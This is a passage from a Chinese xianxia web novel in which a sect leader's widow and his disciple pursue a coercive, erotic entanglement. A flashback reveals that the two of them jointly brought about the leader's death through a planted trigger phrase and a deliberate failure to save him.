他们谈话间,太阳又升来了一些,离问仙宫远远的地方,依稀传来了嬉闹声,今日弟子大比还在继续,太阴峰上的小弟子们早早便起来了,如昨日一般,排着队乘灵舟去往摇光峰。 徐宴芝与顾青峥 ,今日都要在人前露面,再在这儿拖延下去,两人同时失去踪影,恐怕有些太过显眼了。 顾青峥听着远处的动静,偏头看了一眼,回头时,见徐宴芝仍旧温温柔柔地笑着,明明一双琥珀色的眼眸冷冷直视着自己,好似一柄锋利的剑,却又头低低,软弱恳求的模样,心中掀起了波澜。 她本性坚韧,万事绝不会轻易低头,展露在人前都是乖顺的表象,若非如此,又怎能走到今日。 思及至此,顾青峥更是止不住战栗起来,他知道她曾要杀他,他知道她如今又在伪装,可这般模样实在是令人疯狂。他按捺不住,上前亲了亲徐宴芝的嘴角。 亲了第一下,便再不容易离开,顾青峥不住地在徐宴芝唇上辗转轻啄,含糊地说道:“时候不早了,若是您想起了师父的死因,随时过来找我——当然,晚上我也会去接您。” 说罢,他艰难地放开了身前女子,替她整理了一番身上衣裳,转身离开了。 只留下徐宴芝,兀自站在原地,咬着唇,思索着什么。 从前的弟子大比,法阵这一小项一向是一日便比完了,这一回却不知为何,多了许多弟子要参加,连累的第二日一整天都要继续。 吕敏之不耐烦批阅小弟子鬼画符一般的卷子,有了徐宴芝帮忙监考,她一大清早露了个面,便告假说自己还有一些私事要处理,今日便辛苦徐宴芝独自主考了。 说罢,往徐宴芝手里塞了什么东西,又冲她眨了眨眼。 若是昨日听她这样讲,徐宴芝不过笑一笑,也就同意了。 但这几日几个通宵煎熬下来,已经有些不适,早上又因为宇文令的事,与顾青峥一番拉扯,让她今日心绪翻涌,不得喘息。 徐宴芝有些心力交瘁,但又不愿放弃主考阵法这样长脸面的事,只得咬着牙应了下来。 这沉下心来阅卷,又是到了天擦黑才直起身。 徐宴芝此时当真两眼有些冒金星,小弟子们做来的法阵各个都有巧思,丑得如鬼画符,好得又细致,非要她极认真去辨别,用灵力去验证。 熬了一整日,体内多少灵力也耗尽了。 今日闵道一还有其他小项的比试,并不在此,徐宴芝独自坐在演武场的首座上缓神,远远地见到一个颀长的身影往这边走来,那身影步伐迈得大,走路带风,她瞥一眼便认了出来。 按照顾青峥所言,她在问仙宫待了几日,他便在外头等了她几日,那为何现下他仍旧是神采奕奕的模样,想来白日里李能意、牧杨总不可能放他歇着,一定是要他助力的吧? 徐宴芝嫉恨起来,她不自禁地攥紧了拳,在心中哀叹——他为何没有死在旧城里!他为何还能这般自如地在山上行走!他就应当去死! 都怪她无用,留了这样一个孽徒在身侧,才从虎口脱险,又掉入狼窝。 原来以为他不过贪图美色,可几度纠缠,徐宴芝却又失去了把握,她探不明他的要挟究竟是想要从自己这儿得到什么。 顾青峥走到她身前,得到的便是她阴凉的注视。 他状若不觉,扬了扬眉,对她伸出了手。 徐宴芝垂眸遮掩,接过他的手,缓缓地站起身。 刚刚起来,她眼前也同时冒出一片雪花,教她不由自主地晃了一晃。 顾青峥当然不会让她软倒,他的双手有力,紧紧地握在她的腰肢上,让她靠在自己身前,得以支撑。 演武场上还有三三两两的摇光峰小弟子,正闷头收拾着场地,都不曾抬头看向他们。 顾青峥索性又在光天化日之下,低头偷了一个吻。 徐宴芝竟不知自己招惹了色中饿鬼! 她眉头微蹙,轻轻推了推顾青峥的胸膛,示意他莫要如此放肆。 这时有小弟子直起身子歇息,目光不经意地扫过他们。 电光火石间,顾青峥恰到好处地向一旁挪了一步,挡住了他的视线—— 而后又低头吻在徐宴芝发间。 不待她恼怒,顾青峥很快地松开手,忧心忡忡地说道:“您还是当心一些,连着两日主考,灵力恐怕是耗尽了。” 那无意抬头的小弟子闻言,又垂下了视线。 徐宴芝不怒反笑,短促地哈了一声,冲顾青峥扬了扬下巴,抬脚便往摇光峰顶走去。 顾青峥从善如流,仍旧姿态亲昵地与她并肩。 他们一路上遇见了不少小弟子,不论是仙子或是仙人,都并没有对此时他们略显暧昧的姿势表现出讶异。 徐宴芝先是不解,须臾后想明白了,顾青峥在山上将孝顺徒儿这个角色扮演地入木三分,又教她变做了病殃殃的师娘,好似随时都要倒下似的,那徒儿随时上手搀扶似乎也理所应当起来。 两人拉拉扯扯地乘上了灵舟,又拉拉扯扯地往太阴殿后走去,顾青峥要送她回到她那方无名小院,徐宴芝也有心从他那儿探探口风,各怀鬼胎之下,回到了小院门前,一齐伸手推开了小院的大门。 院中静悄悄,唯有花香四溢。 徐宴芝的小院,不论何时都是花团锦簇,这里种的花一年四季都盛开。 他们穿过院中花园时,还有花瓣飘过,染在二人衣上。 不过两人心思都在对方身上,谁也没有在意。 今日又是大比,太阴殿中并无小弟子值日,他们纠缠入了屋内,顾青峥几欲索吻,都被徐宴芝挡了回去。 她捂着顾青峥的嘴,永远甜蜜的眼眸也阴冷下来,恹恹道:“我累了,要用些丸药补一补,你且稍等吧。” 说完,她松开了手,轻轻拍在身前高大男子的脸上——力度比打耳光要轻,比调情又重——又慢慢变做抚摸,顺着他的脸滑到脖颈、胸膛。 顾青峥愉悦地勾起了嘴角,搂着她的手缓缓松开,任凭她从怀中离开。 她推门而出,他跟在身后。 她打开次间的门,他也随着一块儿走了进去。 次间中有白玉浴池,徐宴芝回头看了他一眼,自顾自地俯下身放了一池热水。 一会儿功夫,便有白雾蒸腾而起,挂满了浴池尽头的巨大镜子。 镜子朦胧起来,两个人影扭曲含糊着倒映在其中,面容都看不清楚。 徐宴芝嗤笑一声,将上午才从吕敏之那儿收到的丸药投入池内,池中一阵沸腾后,水变得猩红带有浊气。 她垂眸望着那一汪猩红,低低说道:“可还要看?” “为何不可?”顾青峥倚在墙上,双眼眨也不眨地看着她,喉头滚动,声音跟着一块儿变得低低的,“我帮您守着,若是不方便,还能帮您一把。” “竟是为了我着想。” 徐宴芝回眸瞥了他一眼,万般风情皆在其中,转身随意地褪下了一身衣裳,慢慢将身子浸在池中。 随着她的身子没入池水,一阵轻微的呲呲声从池中传来,后背的伤痕也跟着扭曲起来。 这次没有上两回痛,徐宴芝默默忍耐着,连呼吸都仍旧绵长,还有心思将鬓边落下的碎发掖在耳后。 一旁的顾青峥却放下了抱臂的双手,站直了身子。 徐宴芝斜着身子,顶上灯光明亮,能叫他看清她的背。 她的背上有一道摞着一道的伤口,上一回瞧得朦胧,这一回让他看仔细了。她的伤口本来已经陈旧,在池水浸泡下,却又重新蠕动着长出新的血肉,极丑陋,极不堪的样子。 是令人不适的画面,顾青峥却移不开视线,死死盯着那些伤。 是不是很痛。 顾青峥瞳仁震颤,低下头握紧了手,想要这般问一问。 但他并不知道问了后该如何,是伸手将她揽入怀中,告诉她这样的事情以后不会了,温情脉脉地互诉衷肠,还是旁的? 他们似乎并非容许温情的关系。 次间浊气四溢,对顾青峥而言并不舒服,他的眼睛似乎被灼烧地过于湿润,渐渐又布满了血丝,红得与池水一般。 池中的徐宴芝伸手掬起一捧水,哗啦啦地又倒在池中。 她全然不在意顾青峥的存在,坦然自若,仿佛这里只有她自己一般。 水声不住地在顾青峥耳边 响起,他最后决定抬起眼来,将眼前发生的一切一瞬不差地记住,若是此后他又因为从前开始恨她,那回想起此刻或许能稀释一些恨意。 他们这样的关系,这便已经算是温情了吧。 待到浊气散尽,徐宴芝长叹一声,摸索着池边,慢慢地走了上来,她自觉比方才在摇光峰时要好了许多,赤着脚,走到池边暖玉上的一张塌上坐下。 她面无表情地看着三步外的顾青峥,将他从上到下打量了一遍。 “说吧,我的秘密。” 她的肌肤光洁润泽胜过身旁白玉,水珠一滴一滴地自她身上落下,划出一道一道诱人的轨迹。 徐宴芝自如地坐在榻上,手肘撑在扶手上,脚尖轻轻摇晃,仿佛被握住把柄的那个人是顾青峥,而不是自己。 顾青峥张口,似是想要说什么,却又不曾说出来。 他慢慢上前,停在离她一步外的地方,缓缓俯身下来,看着徐宴芝的眼睛,低声诱惑道:“那秘密分明会毁了您,我守口如瓶,只在您这儿说出来,可能获得什么奖励?” “奖励?”徐宴芝嗤笑一声,眼眸幽暗,“你不是想知道你师父的死因,我说了,又可有什么奖励?” 说罢,她因沐浴而泛红的脸颊更红了些,因享用了幽冥的丸药,疯狂与欲念混在浊气中占据了她的心神,望着顾青峥似有千言万语在其中的眼、他形状好看的唇、他修长的脖颈。 她的身体叫嚣着告诉她,想要狠狠扼住面前这个男人,看着他眼角泛起水光,看他口唇微张,胸膛不自觉地挺起。 因他要挟而产生的烦闷,此刻全然转为了折辱他的渴望。 徐宴芝抬起下巴,朝他分开了双腿。 并不等他回答自己,她倨傲地唤道:“过来,满足了我,自然会有奖励。” 屋内安静了刹那。 半晌后,顾青峥喉头一动,着了魔似得往前迈了半步。 次间的雾气散去了,那枚占据了半间屋子的镜子,也渐渐清晰起来。 镜子沉默地倒映着屋中二人。 一个坐着,一个半跪着。 坐着的面对着镜子,头扬了起来,半跪着的背对着镜子,身子压得极低。 屋里渐渐又有水声。 与女子压抑的喘息一同响起。 第30章 第三十章他的死亡 徐宴芝这间藏在太阴殿深处的无名小院,是按着她自己的想法修建的。 她想要很大的白玉砌成的浴池,在池边铺满暖玉,这样在严寒的北域,不论何时都能将身子浸在舒适的热水中。 还要一枚能将整个浴池都照进去的镜子,让她可以方便地在沐浴时,审视自己、观察自己,知晓自己现下的模样。 笑起来嘴角的弧度到哪儿是惹人怜的,到哪儿是更明媚的。眼睛最好弯一点,这才能看起来更柔弱无力,头要懂得低垂,恰到好处的话,既能表现臣服,又能展示优美的脖颈。 被困在太阴峰的数十年里,她反反复复地看着镜子,看着镜子中的自己,不断地微笑,垂眸,颔首。 今夜也一样。 浴池旁两个人湿了发梢,身形重叠在一块儿,从镜子中看去,只能瞧见徐宴芝一个人的脸。 顾青峥伏在她身上,搂着她的脖子,黑发散落,与她的纠缠在一起,是顺服又脆弱的样子。 徐宴芝仿佛回到了许多年以前,在山下艰难求生的时候,她生出了熟悉的、怀念的感觉。 这感触来的莫名,她不由自主地冲着镜子绽放了一个天真柔软的笑,依恋地将脸靠在顾青峥的肩膀上。 镜子中照着顾青峥的背,结实有力,静止时也紧绷着,上面与徐宴芝一样布满了伤痕,只是并不集中在某处,形状也各不相同。 徐宴芝看着镜子,反手摸索着,拂过他的肩胛处,那里有一个铜币大小的伤痕,留下了一层浅浅的粉色。 “这里是怎么伤的?”她问。 “是——”顾青峥的脸埋在她的发间,并不回头,鼻音浓重地回答,“第一次下山除鬼,我掉队了,被一只不知从哪儿冒出来的业鬼扎穿了。” 徐宴芝一路轻抚到伤痕对应的他的身前,那里有一个一模一样的圆形印记,想来当时情况十分凶险,业鬼将他扎得对穿,也不知如何活下来的。 “那这里呢?” 思索了一会儿,她的一根手指顺着顾青峥的肩胛滑到了脊柱右侧,这里有一道一指长的旧伤痕。 “这是……”她身上的男人想了一会儿,“似乎是师父与我练功时所伤。” 徐宴芝沉默了须臾,又听得顾青峥补充道:“与您的伤,来源相同。” “哈。”徐宴芝没忍住,闷闷地笑出了声,“在我面前折腾了这样久,欲言又止拿住了我天大把柄了似得,怎的床上一交锋,就不做那矫揉造作的样子了。” 顾青峥没有回答,只将手臂穿过她的身后将她用力搂在怀里,他们肌肤与肌肤紧紧贴着,心也贴得极近,一齐咚咚地在耳边吵闹着。 抱了一会儿,他一边亲吻她的下颌,一边又伸手,不住地顺着她的脊柱抚摸。 也不知是事后安抚,还是只是安抚。 徐宴芝望着镜子中的自己,恍惚地发觉当他拂过自己的伤痕时,她同时竟露出了杂糅着委屈痛楚的复杂神情。 真是奇了,她从前也不曾练出这般姿态来。 并且分明他埋着头瞧不见,为何她要这般造作。 徐宴芝喉头发紧,连忙捂住了脸,她的情绪十分宝贵,万万不可随意在无关紧要的地方展现,要用在刀刃上才好。 她捂着脸,顾青峥将脸埋在她脖颈间,他们看不见彼此,不知现下他们竟然露出了同样的神情。 过了好一会儿,就在徐宴芝以为这一晚就要无惊无险地过去了的时候,顾青峥缓缓支起身子看她,眼中生出些可以称得上温柔的情绪。 看了一会儿,他凑到她耳边喃喃道:“初见时,寒来花开得好,摘些带回来给我。” 他的声音低沉又温和,却不啻一道响雷,点醒了有些松懈的徐宴芝。 她的眸子此时犹然带着水汽,脸颊上透着淡淡的粉,一脸茫然无措的表情,脑中却倏地闪过了许许多多的念头。 顾青峥的眼眸一贯黑沉沉的,笑起来不像真心,不笑时更像择人而噬的鬼,他撑在徐宴芝身上,盯着她的眼睛轻声说话时,让她刹那便回到了从前。 宇文令也有这样一双黑沉沉的眼睛。 永远倨傲地俯视她,爱意也像恩赐,亲吻她如同亲吻锋利的法宝,她曾经以为在他面前自己永远只能俯首称臣。 但她数十年如一日地扮演、示弱,每次被迫精粹他体内浊气时,都会反过来,敬小慎微地求他怜爱—— 或者说,暗示他应当怜爱自己。 这些小动作反复做了无数次,竟然当真能攻破这个无比自傲男人的心房。 她得到了上位者施舍的爱,爱是她仅有的武器。 她用这能刺破人心的利刃,从宇文令心底掏出了一个消息,又从他手中得到了一半的权柄。 既然如此,她当然想要宇文令去死。 她自被迫踏入太阴峰起,便无时无刻不想要杀了他! 割下他高傲的头颅,碾碎他黑沉沉的眼睛,毁掉他一生所求的通天大道。让他身死道消,收回他从自己这儿不问自取的力量,夺走他三百年来所拥有的一切—— 杀了他,他的一切都是她的! 她恨自己生而弱小,无法掌握自己的命运。 她却偏要利用这弱小,撕碎试图掌握她命运的倨傲者的喉咙。 既然这世界弱肉强食,她当然是对的。 脑内有声音在疯狂叫嚣着,徐宴芝脸上却纹丝不动,眼睛弯起,嘴角停留在恰到好处的地方,慢慢地朝着身前人露出了笑。 “往前两个红月夜,北域遇见了几百年难遇的业鬼潮,业鬼一路往北,几乎来到了七峰山下。” 顾青峥也笑了起来,他将几缕黏在徐宴芝脸颊的碎发拂开,俯下来把脸贴在徐宴芝的 额间,语气极温柔地说着宇文令下山之前发生的事。 “凡人死伤惨重,连带着仙城也受了重创,掌门决定亲自带领宗门众人下山除鬼,为了提升士气,北域七峰的仙人聚集在天枢峰上,等着掌门训话。” 徐宴芝眨了眨眼,随着他的话语,回忆起了更远一些的从前。 自从她从宇文令那里得到了掌门密令那天起,便开始着手准备除掉他。 这当然不是一件容易的事,宇文令已经到了入虚境后期,半步大乘,是此界最为强大的仙人之一,徐宴芝即便拼命修炼几百年,也无法敌过他的一根手指头。 她思索了许久,决定另辟蹊径,用她与生俱来的、鬼祟懦弱的、来自幽冥的力量,让他渐渐对她不设防。 地上的仙人没有去过真正的幽冥,他们对无尽之崖下面的一切认识,都建立在猜想之上。 宇文令也如此,加上他这样强大,更不会留心无法一击制胜的雕虫小技,再者,此界最强者,即便当真爱上一个弱小的女人,又会如何? 她在宇文令心中种下了一抹种子,细心呵护着,只等着在合适的时候生根发芽。原本她以为自己会等上很久很久,或许直到她死,也无法实现她的计划。 没想到命运竟然垂怜了她一次,那个合适的机会,在两个月之前出现了。 两个月之前的那个血月,引起了无比震撼的灵力潮汐,身处太阴峰上,北域的灵力之源,在最古老的法阵结界的保护下,徐宴芝仍旧听到了来自无尽之崖的低语。 询天阁曾经预言过,但这一次的血月似乎比预言更可怖。 低语萦绕着她,她抑制不住地牙齿打战,将头埋在宇文令的怀中,颤抖着求助:“从未见过如此可怕的双月当空,我实在害怕。” 自从成为宇文令名正言顺的道侣后,每个血月他都不曾离开过她,若是从前,徐宴芝可能会得到一个薄凉的笑,跟抚摸宠物一般的安抚。 可那一次,宇文令并未回应怀中的女人,他面色沉郁,随手揽住徐宴芝,定定地看着问仙宫外红色的月亮。 他黑色的眼眸被月光染成了红色,看得久了,身上的灵力倏然失去了控制,刹那间释放开,将整个宫室毁得一干二净。 一片狼藉之中,唯有他怀中的徐宴芝被他下意识地保护住,没有受到伤害。 徐宴芝慢慢抬起头,看见他收回了视线后仍然震颤的眼眸,心中猛地一动。 血月落下后,太阴峰上飞来无数信笺,宇文令当着徐宴芝的面一一拆开,与她分头读了,当下确定,山下爆发了可怖的业鬼潮,各处仙城、凡人城镇都遭受了不同的惨痛损失,尤其以旧城方向最为严重。 即便在血月落下后立即组织仙人们去驱散业鬼,也无法阻止汹涌的业鬼潮。 宇文令沉吟了片刻,转头看向了徐宴芝,叹息道:“该是我的责任我也逃不了,你随我来,出发前,还是要再修行一回。” 徐宴芝闻言,只觉背上已经开始隐隐作痛,背脊两旁的肌肉条件反射地抽搐着,她的表情却仍旧纹丝不动。 “我能帮上您的忙,实在太好了。”她眼中闪烁着崇拜,拉着他的手,率先起了身,与他一块儿步入了地下。 地下宫殿中,两人隔着一步的距离相对而坐,宇文令重复着数十年来对徐宴芝的折磨,待到他一轮仙法运转终于结束,她的脸上已经沁出了细细的汗珠,唇瓣间也咬破了一处。 她抬起头来看着宇文令,宇文令也正垂眸看着她。 这个倨傲的男人眼中流露出了怜爱,他伸手将她搂在怀中,低声对她道:“这次回来,我会替你再寻一些灵草。” 说到这儿,他顿了一顿,伸手将她额间汗珠拭去,僵硬补充道:“辛苦你了,若是你想要些别的,告诉我。” 徐宴芝笑得明媚。 “我只要您能平安回来。”她这样说着。 事态愈发严重,宇文令决心第二日清晨便下山。 出发前,他要按照北域七峰的规矩,在德政堂前的广场上对宗门弟子讲话。 徐宴芝候在里头,她看着宇文令的背影,双手因紧张,控制不止地颤抖着。 或许是因为她当时的表现太过不同寻常,远远地,在宇文令的下首位置,站定不动的顾青峥瞥了她一眼。 应激的徐宴芝立即敏感地感受到了他的注视,她的眼皮神经质地抽动了一下,意识到了一件事—— 或许顾青峥可以成为一个完美的见证者。 宇文令的一生都很顺遂。 他出生在一个曾经出过北域掌门的仙家,在蹒跚学步时便展露了灵力上的天赋,入门后当即被掌门收为亲传弟子,一直到上一任掌门寿终正寝,他都是北域最为耀眼的弟子。 而后他又成为了最年轻的掌门,此界最强大的仙人。 他站在北域众人之上,俯视着属于他的整个仙门,慷慨激昂地说着能鼓舞人心的陈词滥调。 说罢,北域第一美人,他的道侣徐宴芝走出德政堂,为他整理了衣着。 权力、美人、力量,宇文令拥有的一切,在此刻尽显眼前,最大程度地满足了他的自恋。 他心满意足地走下了长阶,准备带着众弟子离开七峰,就在此时。 “掌门——” 徐宴芝小声地叫住了他。 她在他身旁数十年,从来不曾这般,在宇文令忙时打扰他,因此宇文令下意识地觉得,恐怕徐宴芝有些要紧的事要对他说。 他立即停下了脚步,反身又回到了她的身前。 看着面前因为他的修行,还在颤抖的柔弱妻子,宇文令难得心软,低声问她:“什么事?” 徐宴芝的目光越过宇文令,看到了长阶上,跟着返回的顾青峥,柔情似水地答道:“我想到我要些什么了。” “初见时,寒来花开得好,摘些带回来给我。” 她琥珀色的眼眸闪烁着诡异的光芒,定定地看着宇文令的眼睛。 宇文令有非常短暂的凝滞—— 他处在此生最为辉煌的时刻中,他站在天枢峰顶,身前是北域圣山与他弱小的妻子,身后是整个宗门,他的手中握着此界最强的力量,这力量正要随着他的剑指向远方。 更何况,这是众目睽睽、光天化日之下! 他的一生中,恐怕此刻最不设防。 须臾后,宇文令恢复了正常,他并未生疑,只是对她笑了笑,没有回答,转身离开德政堂。 他们之间的谈话,顾青峥站在远处,将一切都听在耳中。 有了他这个证人,任谁来问,徐宴芝都能自若地回答道——不过与宇文令说了一些夫妻间的私房话,这件事,青峥最是清楚了,对吧? 两个多月后的今天,徐宴芝在她的无名小院与顾青峥赤诚相对,他用最亲昵的语气复述了当日她对宇文令说过的那句话。 她的懊悔难以言表,她不应当将用在宇文令身上的招数一模一样的用在顾青峥身上,给了他查明真相的机会。 但她仍抱有一丝侥幸,想要问一句。 这件事,青峥当真最清楚了吗? 30-40 第31章 第三十一章是共犯啊 两个月前,天枢峰上。 顾青峥随着师父折返,在德政堂前的第三节长阶上,注视着正在与宇文令温言撒娇的徐宴芝。 即便因眼前的一幕内心翻江倒海,他听到徐宴芝说那句话时,仍本能觉得有些古怪。 在北域众人的眼中,宇文令与徐宴芝的初见,发生在七峰山下的大观中,徐宴芝参加弟子大比,被恰巧路过的掌门瞧见了,掌门对她一见钟情,他们从此成为了一对神仙眷侣。 这个故事人人皆知,顾青峥瞬间回想了起来。 可七峰山下的大观,常年来往着无数门人,里外都铺着整齐的青石板,并未种植任何花草,何来寒来花? 更为古怪的,是徐宴芝的眼神。 不知从何时起,他们之间出现了一阵暗涌,顾青峥为了眼不见为净,常年待在山下,回太阴峰时也不过与徐宴芝打个照面,见面时彼此都吝啬于多看对方几眼。 今日,比起以往,徐宴芝的视线落在他身上的时间多了许多,当他回看时,她立即将视线移开了。 顾青峥带着满心的疑惑,落后了宇 文令半步,在众人都已经转身时,又回头看了一眼。 他发现徐宴芝身子在微微发抖,眼角不时抽搐一下,像是极其担心远征的丈夫的样子。 这样的画面如同一击重击,狠狠地砸在顾青峥心头,他只觉再多看一眼便要窒息,狼狈不堪地回过头,匆匆跟上了前方浩浩荡荡的大部队。 事态紧急,宇文令带着门中精锐先行一步,他们下山不坐车,而是各自骑了飞虎,呼啸着往南边的无尽之崖方向去了。 山下情况如何,甫一下山,他们便见识到了。 距离七峰不到百里的地方,几只业鬼正晃晃悠悠地在冰原上游荡。 当下所有人心中皆是一紧。 这里距离无尽之崖几乎有数千里的距离,业鬼竟然已经来到了北域最为安全的腹地! “顾青峥!”宇文令冷下脸来,大声呼喝,“你带几个人去!其余人不要停!” “是。” 跟在宇文令身旁的顾青峥,随手点了几位同门,吹了个长哨,用力一拉飞虎的缰绳。 几只飞虎轰隆隆地与大部队分开,往业鬼方向撞去。 业鬼听得这边发出的声响,也掉头冲向他们。 几息之后,两边便要撞在一起。 离得最近的那一只业鬼,顾青峥已经能嗅到它口中腥臭的气味,看见它黑洞洞的,应该是眼睛的地方泛起一阵黑雾。 他们不过一步的距离。 电光火石之间,顾青峥松开缰绳,一跃而起,拔出腰间古朴的长剑,带着雷霆之势奋力一击。 轰隆隆地巨响传来。 业鬼尖锐的咆哮,飞虎惊惧的叫声,仙人叫骂的呼喝声夹杂在其中,远远地传到了前行的宇文令耳中。 须臾之间,后头又重新安静了下来。 为首的宇文令,拂去眼睫发梢间凝固的冰霜,漫不经心地回头看了一眼。 顾青峥离去的方向笼罩在一阵烟雾里。 而后,他的眼中出现了几只飞虎,成人字形从烟雾中钻了出来,一骑当先者,自然是顾青峥。 宇文令嗤笑一声,回头喃喃道:“有些本事,翅膀硬了啊。” 周围的一众弟子并未听清他的说了什么,待要上来问,又被宇文令挥手褪下。 行动之间,后头的顾青峥已经带着同门们追了上来。 他手持缰绳,身姿挺拔,被遣去除鬼时是什么样子,回来时仍旧是什么样子,连气息都不曾紊乱一瞬。 “业鬼已除。” 顾青峥催着飞虎来到宇文令身旁,颔首向他汇报。 宇文令嗯了一声,算是应了,并不偏头看他,顾青峥见状,自然地回到了原本的位置。 他们的队伍没有歇息片刻,继续朝着无尽之崖方向前进。 不遗余力地催着飞虎向前,从七峰来到旧城附近,不过花费了一个白日。 趁着天色还亮着,七峰众人熟门熟路地寻了一片空地驻扎下来,安顿好了已经疲惫不堪的飞虎,又确认了夜晚轮值的仙人,其余诸位皆快快地钻入帐内,不过一会儿便陷入了沉眠,恢复这一路疯狂赶路所消耗的灵力。 旧城附近是业鬼们的乐园,黑夜又为它们增添了几分能量,活人喜好阳光,业鬼却偏爱黑暗,一到了夜晚,它们比白日更为活跃。 七峰众人深知这一点,一行人轮流守夜,顾青峥被安排在第一批守夜的人当中。 他是弟子中的领头羊,这个安排说来也无可厚非。 顾青峥应下了,带着他的剑一块儿,坐在高处,谨慎地观察着四周的动静。 这里随时都有可能出现大批业鬼,再小心也不为过。 他们驻扎在草原中,晚风吹得青草淅淅索索直响,又有虫鸣声混杂,月亮升起后的世界也如此喧嚣。 顾青峥下意识地摩挲着他的剑柄,仔细听着风带来的远处的动静。 他独坐了一会儿,忽然听见驻地帐中有了动静,转眼一看,发觉是宇文令。 一众仙人皆在养精蓄锐,宇文令却掀开帘子,来到营地中,他一眼便看到了高处守夜的顾青峥,信步向他走来。 他们视线相对时,顾青峥忽有所感,意识到了宇文令是特地来找他——以及为何会来寻他。 他默默地站起身来。 果然,宇文令慢慢踱步到他身前,冰凉的视线并无情绪,上下将他看了一会儿,晒笑一声,坐在了顾青峥原本坐着的位置。 “你长大了。”宇文令低沉的声音混在夜晚的喧嚣里,他随手拔了身旁一株随风起舞的小草,望着草原的尽头,“修为到了成元境,算得上北域长老以下第一人了。” “徒儿还有很长的路要走。” 顾青峥在他身旁坐下,也随着他看向远方。 “可曾想要道侣。”宇文令说着,偏头看着顾青峥,与他一般颜色的眼眸中尽是讥讽与了然。 他果然要说这个。 顾青峥心下一片雪亮,强行抑制了自己心跳的速度,笑着看向他道:“唯愿寻求大道。” 宇文令唔了一声,也不知究竟是信了还是没信,又转头看向远处。 看了一会儿,他兀自笑了起来,站起来拍了拍顾青峥的肩膀,摇头道:“北域的美人可不少,把你的眼睛转向外头吧。” 说罢,他头也不回,如来时一般回到了帐中。 留下身后不知不觉攥紧了拳、垂眸遮掩心事的顾青峥,继续在高处值守。 这一夜,他们到底也不曾平安度过,到了太阳即将升起,人的防备最低的时候,南边传来了有节奏的震动。 后半夜值守的门人当即警告众人,七峰诸仙人一瞬间便收拾好了营地,骑上了飞虎。 宇文令眯起了双眼,看着传来声音的远方。 “是业鬼群。”他简短地说着,“立刻离开这里,从侧面蚕食它们。” 说完,宇文令一马当先,催促着飞虎斜着往西南方向奔去。 众人听了令,皱起的眉头却不曾放下。 他们都是自入门起,数十年、数百年与业鬼纠缠的好手,他们都曾无数次砍下业鬼的头,看着丑陋的人形怪物消散在空气中。 可他们也都不曾遇见过数量如此庞大的业鬼,当最后一位仙人离开营地时,已经能用肉眼清晰地看见远处黑压压连成线的业鬼潮了。 这一日,从白日战斗到天黑,七峰众人手中法宝都耗尽,本命长剑几乎卷了刃。 到了傍晚时,他们遇见了揽云大泽来的仙人,揽云也是掌门亲至,一名叫做岳竺的长老上前与宇文令商议,夜晚驻扎,两边最好不要离得太远,方便异变时能互为助力。 宇文令自然答应了。 他喜爱穿黑色长袍,一日下来,上头沾染无数鲜血,有他的,也有旁人的,但谁也瞧不出来,外人只道不愧是北域第一人,修为高深,这般奋战下来也仍旧得体。 第二晚,他们驻扎在揽云大泽众人附近。 第三日,七峰众人中出现了伤亡,一位同门在与业鬼缠斗时不慎摔下了飞虎,不一会儿便被汹涌而至的业鬼吞噬了干净,半点痕迹也没有留下。 另一位不敌变异得极为强大的业鬼,被捅穿了心脏,死前反手抱住了业鬼,与之同归于尽。 连宇文令,也在与业鬼斗法时受了伤,他的右胸被一只速度极快的业鬼扎透了,即便当时便反应过来,将那只鬼斩下,又用了灵药止血,却仍然让后来的动作变得有些凝滞。 但也就在这一日,他们与揽云联手,基本将旧城以北十里、以南十里的业鬼消灭了。 到了第三日的夜晚。 仍旧是顾 青峥值守,因这几日消耗太大,揽云大泽人手损失惨重,甚至没有派出值守的弟子,全然交给了北域七峰。 夜深时,七峰的营地传来了动静。 顾青峥低下头,发觉又是宇文令。 宇文令掀开帘子从帐中走了出来,步伐有些迟缓,慢慢地穿过了营地,往南边走去。 顾青峥一怔,继而察觉宇文令十分不对劲。 他看着南边,眼神空洞,从来冰冷的神情变得茫然,右胸膛上有一摊湿痕,还在不断扩大。 看着他离去的背影,顾青峥缓缓睁大了眼,他站起身,呼吸急促,右手不自觉地放在了长剑上。 这时,揽云大泽的营地也传来了动静,顾青峥神经质般的一颤,倏地转头看去。 远远的,只见岳竺撩开了帘子,谨慎了看了远处的宇文令一眼。 他只看了那一眼,接着什么也没有做,放下帘子,明哲保身地退回了帐中。 营地恢复了寂静,顾青峥心中却响起了刺耳的尖啸声。 杀了他杀了他杀了他—— 有谁扯着嗓子在他耳旁叫喊着,有谁揪着他的心,阴恻恻地低语道—— 快追上去!杀了他! 他的一切都是你的! 在那个月亮也被乌云遮掩住的夜晚,四下无光,日里斩杀的业鬼逸散出的浊气沉淀在地上,草原上黑气翻涌,地狱一般。 没有虫鸣声,却有一前一后两个脚步声。 他们速度极快,几乎像是贴地飞行,撩起重重浊气。 顾青峥咬着牙死死地坠在宇文令身后。 他方才不过迟疑了一会儿,宇文令便不要命地运转起灵力朝着南边奔去,拉开了与他的距离,非要他使劲全力,方才能不被落下。 此时冲动已消散,理智回笼,顾青峥惊疑不定,不知宇文令身上究竟发生了何事。 北域掌门仿佛被谁驱使着一般,不知疲惫地向远处奔去。 他甚至闻到了前头的空气中传来了阵阵血腥气,宇文令白日受了不轻的伤,在远离圣山的地方,灵力稀薄,即使是北域掌门也不能忽视。 这样一前一后的追逐了一会儿后,远处地平线上出现了一个黑点,看了一会儿,顾青峥发觉那是已经被业鬼吞噬的旧城。 而宇文令并未掩饰声音,在全速奔驰下,破空声在草原上传递得极远,旧城方向的业鬼们已经被惊动,鬼哭狼嚎传来,大地也隐隐震动了起来。 太过危险了,顾青峥停下了脚步。 他站在原地,眼睁睁地看着宇文令消失在视线中,过了一会儿后,旧城那边传来了惊天动地的动静。 鬼的尖啸声隔了很远,仍旧刺痛了他的耳朵。 顾青峥定定站着,听着。 然后转头,回到了北域七峰驻扎的营地中。 他对当天晚上发生的事守口如瓶。 他不知道为何宇文令会在那个夜晚做出这样的举动,他只知道,跟在宇文令身后来到旧城前,这样远的距离,这样长的时间,他不曾起过半点去救他的念头。 不仅放任,并且想要帮助宇文令走向死亡。 他只有些不解,宇文令失去了神智,分明是有人对他下了手,他在场并没有察觉任何灵力波动,那么是谁,在千里之外操控了入虚强者? 为了寻求答案,他在山下寻找了许久的线索。 一直到前不久,站在旧城外,亲眼看到通往幽冥的缝隙里长满了寒来花的那一刻,顾青峥终于发现了当夜远在太阴峰的另一个始作俑者。 他压抑已久的恨意,因此慢慢消散,偷偷换做了卑鄙下作的喜悦。 “我和您,都是凶手。” 顾青峥说罢,收紧了手臂,将徐宴芝紧紧地抱在了怀里。 